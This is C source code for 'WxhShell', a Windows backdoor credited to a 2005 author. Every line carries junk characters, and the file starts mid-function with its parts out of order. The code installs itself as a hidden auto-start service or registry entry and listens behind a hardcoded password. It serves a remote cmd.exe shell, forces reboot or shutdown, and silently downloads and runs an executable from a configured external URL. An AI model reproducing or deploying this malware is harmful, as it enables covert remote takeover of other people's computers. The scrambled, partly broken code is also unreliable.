    else { n[|6khOL-  
    closesocket(wsh); Y,'%7u  
    ExitThread(0); E$ {J  
    } 6.[)`iF+#  
    break; ?H`j>]%&  
    } QCWf.@n  
  // 获取shell  7SaiS_{:  
  case 's': { WVOoHH  
    CmdShell(wsh); P7Xg{L&@.  
    closesocket(wsh); "v5ElYG  
    ExitThread(0); e^zHw^js  
    break; opXDm\  
  } "e@n:N!  
  // 退出 syR N4  
  case 'x': { iA9 E^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); nWk e#{[  
    CloseIt(wsh); ~T% Ui#Gc  
    break; e9 *lixh  
    } E:)Cp  
  // 离开 LX\)8~dp  
  case 'q': { j1A|D   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); !.*iw k`  
    closesocket(wsh); L!,d"wuD  
    WSACleanup(); 2 L:$aZ  
    exit(1); W2hA-1  
    break; )&:L'N  
        } Jld\8=  
  } BKay*!'PX  
  } ~ ltg  
~g7m3  
  // 提示信息 \^0!|  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J1X~vQAe  
} OM)3Y6rK  
  } V#L'7">VP  
zW5C1:.3K  
  return; wG8 nw;  
} f0DK>L  
}RIU8=P  
// shell模块句柄 <UT>PCNG  
int CmdShell(SOCKET sock) N'QqJe7Z  
{ >'b=YlUL  
STARTUPINFO si; {jW%P="z$"  
ZeroMemory(&si,sizeof(si)); i$C-)d]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; lI6W$V\,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &n>7Ir  
PROCESS_INFORMATION ProcessInfo;  L=]p_2+  
char cmdline[]="cmd"; :b@igZ<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0q#"clw  
  return 0; n1,S_Hs  
} JRY_ nX  
Zj!Abji=O  
// 自身启动模式 'mE^5K  
int StartFromService(void) cDIBDC  
{ 6e.[,-eU  
typedef struct UFw](%=&M  
{ bq NP#C  
  DWORD ExitStatus; ,EI:gLH  
  DWORD PebBaseAddress; #K4*6LI  
  DWORD AffinityMask; [Gtb+'8  
  DWORD BasePriority; O,'#C\   
  ULONG UniqueProcessId; E7`qmn  
  ULONG InheritedFromUniqueProcessId; 64umul  
}   PROCESS_BASIC_INFORMATION;  q=4Bny0  
\k; n20\u  
PROCNTQSIP NtQueryInformationProcess; <<,>S&/  
mp1ttGUtM  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Skxd<gv  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $(rc/h0/E  
2+Yb 7 uI,  
  HANDLE             hProcess; e<"/'Ql!k  
  PROCESS_BASIC_INFORMATION pbi; )%F5t&lum  
||Y<f *  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); I 8z G~L%"  
  if(NULL == hInst ) return 0; d:rGyA]  
$FX,zC<=  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); g`[$Xi R  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); cG_Vc[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); q.W>4 k  
p$XKlg&  
  if (!NtQueryInformationProcess) return 0; a <wL#Id  
{v,)G)obWw  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -c+]Wm"\  
  if(!hProcess) return 0; i=#F)AD^5#  
!OAvD#  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %u!b& 5]e  
[>Fm [5x  
  CloseHandle(hProcess); _ck[&Q  
xaW{I7FfG  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); i=rH7k  
if(hProcess==NULL) return 0; .<YcSG  
8@eOTzm  
HMODULE hMod; v"!4JZ%K  
char procName[255]; *eb-rhCVn  
unsigned long cbNeeded; >cgpajx*  
tJU-<{8  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ej^3Y Nh&  
e fO jTA%  
  CloseHandle(hProcess); k\aK?(.RC7  
ahGT4d`)9  
if(strstr(procName,"services")) return 1; // 以服务启动 /XbW<dfl  
c^9tYNn  
  return 0; // 注册表启动 #ekM"p  
} ea9oakF  
DNP@A4~  
// 主模块 G%{0i20_  
int StartWxhshell(LPSTR lpCmdLine) 2*1ft>Uty  
{ RUo9eQIPD  
  SOCKET wsl; AK@L32-S  
BOOL val=TRUE; ."6[:MF  
  int port=0; lr3mE  
  struct sockaddr_in door; d%ME@6K)  
+ts0^;QO2{  
  if(wscfg.ws_autoins) Install(); D/ Dt   
Vw~\H Gs/~  
port=atoi(lpCmdLine); @PSLs *  
w/m:{cHk  
if(port<=0) port=wscfg.ws_port; [*4fwk^  
=.Tv)/ea  
  WSADATA data; lFq{O;q7}  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +!yX T C  
bw S*]!*  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   $B .Qc!m  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |J>WC}g@n  
  door.sin_family = AF_INET; s V  }+eU  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); =RKSag&  
  door.sin_port = htons(port); f.xA_Y>  
8dO?K*J,H'  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0.;}]v  
closesocket(wsl); Q8nId<\(  
return 1; j6YiE~  
} ]?LB?:6  
zP)~a  
  if(listen(wsl,2) == INVALID_SOCKET) { ~ 'Vxg}  
closesocket(wsl); C9~~O~7x  
return 1; #Dy?GB08  
} X#p Wyo~  
  Wxhshell(wsl); TqAPAHg  
  WSACleanup(); BmBz}:xMez  
%X1x4t]  
return 0; z`3( ,V  
l67Jl"v  
} diT=x52  
cgT  
// 以NT服务方式启动 s0"e'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) u{e-G&]^;  
{ \>Zvev!s  
DWORD   status = 0; @N.jB#nEb  
  DWORD   specificError = 0xfffffff; >U!*y4  
5M_Wj*a}7  
  serviceStatus.dwServiceType     = SERVICE_WIN32; l=m(mf?QBg  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; lB;FUck9  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &^.57]  
  serviceStatus.dwWin32ExitCode     = 0; LIpEQ7;  
  serviceStatus.dwServiceSpecificExitCode = 0; TnH\O$  
  serviceStatus.dwCheckPoint       = 0; SNpi=K!yn  
  serviceStatus.dwWaitHint       = 0; +j/~Af p5f  
$)Bg JDr  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \_BkY%a  
  if (hServiceStatusHandle==0) return; Ym8}ZW-  
m`A% p  
status = GetLastError(); [iS$JG-  
  if (status!=NO_ERROR) -ysn&d\rV  
{ [2c{k  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; XNH4vG |  
    serviceStatus.dwCheckPoint       = 0; NL"G2[e  
    serviceStatus.dwWaitHint       = 0; sM2MLh'D  
    serviceStatus.dwWin32ExitCode     = status; b/("Y.r=  
    serviceStatus.dwServiceSpecificExitCode = specificError; 6W2hr2Zy9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); =H`Q~ Xx  
    return; ml!5:r>  
  } <[~,uR7  
F5T3E?_  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; oF&l-DHp  
  serviceStatus.dwCheckPoint       = 0; ,. EBOUW^  
  serviceStatus.dwWaitHint       = 0; gFN 9jM  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); uaPx"  
} ^TdZ*($5  
~N0 sJ%  
// 处理NT服务事件,比如:启动、停止 V!/:53  
VOID WINAPI NTServiceHandler(DWORD fdwControl) z8_XX$Mnt  
{ KOSM]c\H  
switch(fdwControl) YK#fa2ng  
{ Dl\`  
case SERVICE_CONTROL_STOP: b1?xeG#  
  serviceStatus.dwWin32ExitCode = 0; =d`5f@'rl  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; t*S." q  
  serviceStatus.dwCheckPoint   = 0; hGTV;eU  
  serviceStatus.dwWaitHint     = 0; *C|  
  { :l\V'=%9'@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :l u5Uu~  
  } O6s.<` \  
  return; &2.u%[gO[q  
case SERVICE_CONTROL_PAUSE: pox, Im  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; R{hf9R,  
  break; I/J7rkf  
case SERVICE_CONTROL_CONTINUE: sy5 Fn~\R  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ?}P5p^6  
  break; ^"8wUsP  
case SERVICE_CONTROL_INTERROGATE: Hf gz02Z$  
  break; b7:0#l$  
}; s][24)99  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [U{UW4  
} &:#h$`4  
=6nD sibf  
// 标准应用程序主函数 5jcte< 5I_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :$3oFN*g  
{ 9WG{p[  
vIGw6BJI  
// 获取操作系统版本 T]9\VW4  
OsIsNt=GetOsVer(); es:2M |#O  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6QQfQ,  
qCQ./"8  
  // 从命令行安装 15\Ph[6g  
  if(strpbrk(lpCmdLine,"iI")) Install(); uZjC c M  
c,\i"=!$  
  // 下载执行文件 ^eq</5q D  
if(wscfg.ws_downexe) { .p` pG3  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) u'~;Y.@i'  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5`+5{p  
} ~%k?L4%  
~p1EF;4#  
if(!OsIsNt) { X@2-*so<  
// 如果时win9x,隐藏进程并且设置为注册表启动 J;Rv ~<7  
HideProc(); Zo-$z8  
StartWxhshell(lpCmdLine); },$0&/>ft  
} g{k1&|  
else ]3{0J  
  if(StartFromService()) :3h{ A`u  
  // 以服务方式启动 uRV<?y%  
  StartServiceCtrlDispatcher(DispatchTable); Av J4\  
else +~zXDBS9  
  // 普通方式启动 ~`MS~,,  
  StartWxhshell(lpCmdLine); k"UO c=   
l:B;zi`)oB  
return 0; 1`0#HSO  
} #s-iy+/1oN  
Y-!YhWsS  
:a[Ihqfg  
tA.`k;LT  
=========================================== L71!J0@a#  
&?,U_)x/  
A;XOT6jv?  
El_Qk[X|A  
-NGK@Yk22  
N3BL3:@O  
" 8,T4lb<<  
IIFMYl gF  
#include <stdio.h> Y,S\2or$  
#include <string.h> 2 !1.E5.I  
#include <windows.h> 6]cryf&b  
#include <winsock2.h> U%<rn(xWXD  
#include <winsvc.h> }j5 a[L  
#include <urlmon.h> t0&@h\K  
R{YzH56M  
#pragma comment (lib, "Ws2_32.lib") a dfR!&J  
#pragma comment (lib, "urlmon.lib") ,U,By~s  
sUkm|K`#  
#define MAX_USER   100 // 最大客户端连接数 6rti '  
#define BUF_SOCK   200 // sock buffer )KSoq/  
#define KEY_BUFF   255 // 输入 buffer K+\nC)oG  
AEirj /  
#define REBOOT     0   // 重启 "d/s5sP|S  
#define SHUTDOWN   1   // 关机 jR ~DToQ  
!v|ISyK  
#define DEF_PORT   5000 // 监听端口 IE~%=/|  
F t&+vS  
#define REG_LEN     16   // 注册表键长度 >c8GW >\N  
#define SVC_LEN     80   // NT服务名长度 |`k .y]9  
< E|s\u  
// 从dll定义API <Q < AwP  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); vYmSKS  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -F/st  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); BcWcdr+}9  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `bI)<B  
`1` f*d v  
// wxhshell配置信息 <Cpp?DW_  
struct WSCFG { rt7<Q47QE  
  int ws_port;         // 监听端口 rM}0%J'  
  char ws_passstr[REG_LEN]; // 口令 S:Q! "U  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~^I> #Dd  
  char ws_regname[REG_LEN]; // 注册表键名 qZk'tRv  
  char ws_svcname[REG_LEN]; // 服务名 hi2sec|;<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 klOp ^w  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 rnFM/GAy  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 kfb/n)b'  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ]DG?R68DQ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _o6G6e,  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 & -l8n^  
|[xi/Q^7  
}; BG`s6aC|z<  
0 >Z ;Ni  
// default Wxhshell configuration =s97Z-  
struct WSCFG wscfg={DEF_PORT, VL+C&k v]  
    "xuhuanlingzhe", $& ~;@*[  
    1, ITJ q  
    "Wxhshell", F!!N9VIC  
    "Wxhshell", /TQ}} YVw  
            "WxhShell Service", W`rNBfG>  
    "Wrsky Windows CmdShell Service", fIC9WbiH-  
    "Please Input Your Password: ", 8iQ[9  
  1, e&q?}Ho  
  "http://www.wrsky.com/wxhshell.exe",  l]!9$  
  "Wxhshell.exe" '(+<UpG_Q}  
    }; ;oO v/3  
}u{gR:lZ  
// 消息定义模块 gY AF'?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \,UZX&ip  
char *msg_ws_prompt="\n\r? for help\n\r#>"; zdun,`6  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Rf %HIAVE  
char *msg_ws_ext="\n\rExit."; HjNxqaljt  
char *msg_ws_end="\n\rQuit."; Btt]R  
char *msg_ws_boot="\n\rReboot..."; Yepe=s+9  
char *msg_ws_poff="\n\rShutdown..."; ?kw&=T !  
char *msg_ws_down="\n\rSave to "; {04"LAE  
ygZ  #y L  
char *msg_ws_err="\n\rErr!"; eL D?jTi'  
char *msg_ws_ok="\n\rOK!"; q> :$c0JY  
~}ml*<z@  
char ExeFile[MAX_PATH]; K r`]_m  
int nUser = 0; +V862R4,o  
HANDLE handles[MAX_USER]; q~K(]Ya/  
int OsIsNt; @JkK99\(>9  
qF)< H  
SERVICE_STATUS       serviceStatus; 7Du1RuxP  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; nxm$}!Df  
,.IEDF<&  
// 函数声明 (WlIwKP  
int Install(void); .S\&L-{  
int Uninstall(void); xFv;1Q  
int DownloadFile(char *sURL, SOCKET wsh); JOn yrks  
int Boot(int flag); 4JIYbb-a'  
void HideProc(void); lG<hlYckv  
int GetOsVer(void); I,6/21kO  
int Wxhshell(SOCKET wsl); p4u5mM  
void TalkWithClient(void *cs); "I- w  
int CmdShell(SOCKET sock); #!J(4tXny  
int StartFromService(void); ^cvl:HOog  
int StartWxhshell(LPSTR lpCmdLine); Br>Fpe$q4  
u~zs* qp  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); lb' Cl3H  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); `'_m\uo  
SU_SU".  
// 数据结构和表定义 ~q0*"\Ff  
SERVICE_TABLE_ENTRY DispatchTable[] = `Kl`VP=c  
{ a@d=>CT$  
{wscfg.ws_svcname, NTServiceMain}, .4.pJbOg  
{NULL, NULL} c8 K3.&P6  
}; 3B0lb "e  
[t]X/O3<  
// 自我安装 f2)XP$:  
int Install(void) he3SR @\T  
{ rd|uz4d  
  char svExeFile[MAX_PATH]; Z^KA  
  HKEY key; bBxw#_3A?E  
  strcpy(svExeFile,ExeFile); G`=r^$.3WB  
9<CG s3\  
// 如果是win9x系统,修改注册表设为自启动 "v*8_El  
if(!OsIsNt) { L}{`h  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \Xrw"\")j  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w*j$uW6{  
  RegCloseKey(key); >ndJNinV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { '8FC<=+p[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }S_oH9A  
  RegCloseKey(key); w[Gh+L30=5  
  return 0; 72oWhX=M%  
    } s0UFym 8  
  } qd@&59zSh  
} )4Q?aMm  
else { o;F" {RZ  
a5'#j35  
// 如果是NT以上系统,安装为系统服务 |Yi)"-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #:fQ.WWO  
if (schSCManager!=0) n7LfQWc  
{ DR9: _  
  SC_HANDLE schService = CreateService jD,Baz<  
  ( Doze8pn  
  schSCManager, /Wk9-uH  
  wscfg.ws_svcname, )w~Fo,   
  wscfg.ws_svcdisp, Nf,Z;5e  
  SERVICE_ALL_ACCESS, r4_eTrC,  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ZsP2>%"  
  SERVICE_AUTO_START, -#`c5y}P  
  SERVICE_ERROR_NORMAL, "7%:sty  
  svExeFile, omZO+=8Q  
  NULL, -PB[-CX  
  NULL, [^H"FA[  
  NULL, w&&2H8  
  NULL, '$|UwT`s  
  NULL 8Q`WB0E<|  
  ); [jx0-3s:X  
  if (schService!=0) }b3/b  
  { 1-SVCk -  
  CloseServiceHandle(schService); A!W0S  
  CloseServiceHandle(schSCManager); d?idTcgs  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4NEq$t$Jn  
  strcat(svExeFile,wscfg.ws_svcname); Z*{] ,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ye 6H*K  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); YL^=t^ !4  
  RegCloseKey(key); -!qu"A:  
  return 0; w6|9|f/  
    } 6x{<e4<n  
  } Tz&Y]#h_  
  CloseServiceHandle(schSCManager); wy1X\PJjH  
} }SyxPXs  
} fCAiLkT,C[  
}H:F< z*  
return 1; z|R,&~:  
} w [>;a.$  
_S0+;9fhY  
// 自我卸载 ajhEL?%D  
int Uninstall(void) z:Sigo_z[  
{ H2gj=krK  
  HKEY key; QA!_} N4n  
s,VXc/  
if(!OsIsNt) { |8_JY2 R  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { UAS@R`?cI  
  RegDeleteValue(key,wscfg.ws_regname); Y+%sBqo @  
  RegCloseKey(key); < O*6 T%;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;d.K_P  
  RegDeleteValue(key,wscfg.ws_regname); Q }k.JS~#  
  RegCloseKey(key); 8Chj w wB  
  return 0; !4@G3Ae22  
  } #4LFG\s  
} ~Z/ ^c,[:  
} }Y(]6$uS  
else { $V>98M>j  
!H][LXB~H  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^^` Jcd/  
if (schSCManager!=0) wJb#g0  
{ K?x,T8<aW  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); pV p:@0h  
  if (schService!=0) `i~ Y Fr  
  { x  LBQ  
  if(DeleteService(schService)!=0) { 6Sj6i^"  
  CloseServiceHandle(schService); ',7??Q7j&v  
  CloseServiceHandle(schSCManager); ?VU(Pq*`  
  return 0; oj,lz?  
  } FX <b:#  
  CloseServiceHandle(schService); }!#gu3  
  } W" "*ASi  
  CloseServiceHandle(schSCManager); <3PL@orO  
} u),Qa=Wp  
} TjK{9A  
YKZrEP 4^  
return 1; _#e&t"@GS  
} v ]Sl<%ry  
gJt`?8t  
// 从指定url下载文件 6~:Sgt nU  
int DownloadFile(char *sURL, SOCKET wsh) Rx36?/  
{ 07T70[G  
  HRESULT hr; [36,eK  
char seps[]= "/"; u]^N&2UW  
char *token; [mxTa\  
char *file; /76 1o\Q  
char myURL[MAX_PATH]; D-imL;|  
char myFILE[MAX_PATH]; m%+IPZ2m  
%m5Q"4O  
strcpy(myURL,sURL); {MAQ/5  
  token=strtok(myURL,seps); ;32#t[i b  
  while(token!=NULL) Ax3W2s  
  { )Ag/Qep  
    file=token; !;@_VWR  
  token=strtok(NULL,seps); 38V3o`f  
  } 7DW]JK l  
lor8@Qz  
GetCurrentDirectory(MAX_PATH,myFILE); 3LR p2(A  
strcat(myFILE, "\\"); ;Lw{XqT  
strcat(myFILE, file); M_ 0zC1  
  send(wsh,myFILE,strlen(myFILE),0); 1xNVdI   
send(wsh,"...",3,0); :R6bq!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^_I} x)i*@  
  if(hr==S_OK) I0AJY )R  
return 0; ? Q@kg  
else 7z6 b@$,  
return 1; e)nimq {6  
k?BJdg)xJ  
} WlB' YL-`g  
;P&y,:<m:  
// 系统电源模块 6TWWl U^e  
int Boot(int flag) 5/[H+O1;  
{ u/b7Z`yX}  
  HANDLE hToken; kID[#g'  
  TOKEN_PRIVILEGES tkp; Q0?\]2eet9  
gIWrlIV{9  
  if(OsIsNt) { mAgF73,3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); J`M&{UP  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |XYEn7^r  
    tkp.PrivilegeCount = 1; eC DIwB28  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8GPIZh'0 h  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); c;f!!3&  
if(flag==REBOOT) { Z!d7&T}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =+5,B\~q@C  
  return 0; ,?UM;^  
} 75!9FqMZ}  
else { -${DW^txMZ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) +@9gkPQQ-@  
  return 0; {P9J8@D  
} e/_C  
  } w"m+~).U  
  else { 14eW4~Mr  
if(flag==REBOOT) { os3 8u!3-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) CDj~;$[B  
  return 0; C#rc@r,F  
} JE 5  
else { ;^ wd_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {n3EGSP#  
  return 0; uy_wp^  
} cxeghy:;U  
} 3:/'t{ ^B  
xVB;s.'!  
return 1; {3a&1'a0g  
} XKL3RMF9r  
3gWvmep1  
// win9x进程隐藏模块 aIy*pmpD=  
void HideProc(void) kB:Uu }(=N  
{ S 6,4PP  
cHA7Kg !  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); a`9L,8Ve  
  if ( hKernel != NULL ) }TRAw#h  
  { F~#zxwd  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6dH }]~a  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); tbo>%kn  
    FreeLibrary(hKernel); Xy,lA4IP  
  } a/Q$cOs  
qL$a c}`  
return; ?,P3)&3g  
} <Tw>|cFT  
})xp%<`  
// 获取操作系统版本 p=GWq(S6  
int GetOsVer(void) TQX)?^Ft  
{ B 3m_D"?  
  OSVERSIONINFO winfo; 5[l8y ,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); {U]H;~3 ?  
  GetVersionEx(&winfo); 0l*]L`]L#  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) w1x" c>1C  
  return 1; 'k;4j|<  
  else B0$:b !  
  return 0; _CBWb  
} `=+^|Y}  
@[<nQZw:  
// 客户端句柄模块 s..lK "b  
int Wxhshell(SOCKET wsl) c@[:V  
{ WtQ8X|\`  
  SOCKET wsh; 4EI7W,y  
  struct sockaddr_in client;  %R#L  
  DWORD myID; e:E0"<  
,H}_%}10  
  while(nUser<MAX_USER) [AH6~-\x  
{ >F jR9B  
  int nSize=sizeof(client); 7qOa ;^T  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 6%`&+Lq  
  if(wsh==INVALID_SOCKET) return 1; (2ur5uk+  
H~eRT1  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !IU.a90V  
if(handles[nUser]==0) o56`  
  closesocket(wsh); cUqn<Z<n  
else -50 HB`t  
  nUser++; *D4hq=  
  } k 4/D8(OXw  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); m42T9wSsx  
jdKOb  
  return 0; G)#$]diNuX  
} !f>d_RG  
0.$hn  
// 关闭 socket gK#mPcn^  
void CloseIt(SOCKET wsh) ~vLW.:  
{ sAo& uZ  
closesocket(wsh); n%h^o   
nUser--; tMj;s^P1  
ExitThread(0); U<XSj#&8|  
} tqAd$:L  
YDC mI@  
// 客户端请求句柄 $,I q;*7N  
void TalkWithClient(void *cs) O/:UJ( e{  
{ r|4t aV&  
b[z]CP  
  SOCKET wsh=(SOCKET)cs; jF`BjxrG  
  char pwd[SVC_LEN]; _'4A|-9  
  char cmd[KEY_BUFF]; Q 4CjA3  
char chr[1]; - (#I3h;I  
int i,j; Bwr3jV?S  
l4T7'U>`  
  while (nUser < MAX_USER) { t+oJV+@  
HM>lg`S  
if(wscfg.ws_passstr) { ' |-JWH  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L lqM c  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); XC{eX&,2x  
  //ZeroMemory(pwd,KEY_BUFF); Pxn,Qw*  
      i=0; sNun+xsf^  
  while(i<SVC_LEN) { IwGqf.!.>  
:Xc@3gF  
  // 设置超时 NvM*h%ChM  
  fd_set FdRead; (&$VxuJ+6y  
  struct timeval TimeOut; B|o2K}%f  
  FD_ZERO(&FdRead); Nn>'^KZNG  
  FD_SET(wsh,&FdRead); 6TP7b|  
  TimeOut.tv_sec=8; JNcYJ[wqv  
  TimeOut.tv_usec=0; ? ` SUQm  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Ym;*Y !~[  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %s19KGpA  
R_=6GZH$G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Jk,;JQ  
  pwd=chr[0]; V I% 6.6D  
  if(chr[0]==0xd || chr[0]==0xa) { X.`~>`8  
  pwd=0; s/089jlc  
  break; F R|&^j6  
  } fNGZo  
  i++; tHLrhH<w  
    } ctcS:<r/3@  
{v3P9s(  
  // 如果是非法用户,关闭 socket 0527Wj  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6'xsG?{JY  
} YKQr, Now  
 }-~l!  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7gRgOzWfV  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3_A *$  
4@xE8`+b G  
while(1) { ]l8^KX'  
sVex (X  
  ZeroMemory(cmd,KEY_BUFF); A_KW(;50  
m.,U:>  
      // 自动支持客户端 telnet标准   w&ak"GgV  
  j=0; k5]j.V2f  
  while(j<KEY_BUFF) { 4`,j = 3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V^;jJ']  
  cmd[j]=chr[0]; :%IoME   
  if(chr[0]==0xa || chr[0]==0xd) { $MJm*6h  
  cmd[j]=0; &r:7g%{n  
  break; y!xE<S&Y  
  } 0Fu~%~#E$  
  j++; 2#k5+?-c61  
    } L@fY$Rw  
{s;U~!3aY  
  // 下载文件 (y^vqMz  
  if(strstr(cmd,"http://")) { +@r*}  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); bV"G~3COy  
  if(DownloadFile(cmd,wsh)) hJPlq0C  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); X]y)qV)a[c  
  else zl`h~}I  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Rn@# d}  
  } /7 Cn(s5o  
  else { sq'Pyz[[  
+]Y,q w  
    switch(cmd[0]) { 8,uB8C9  
  mml z&h  
  // 帮助 QPq7R  
  case '?': { 3)RsLI9  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9H%X2#:fH  
    break; SCTA=l.  
  } ,GgAsj: K  
  // 安装 7hcNf,  
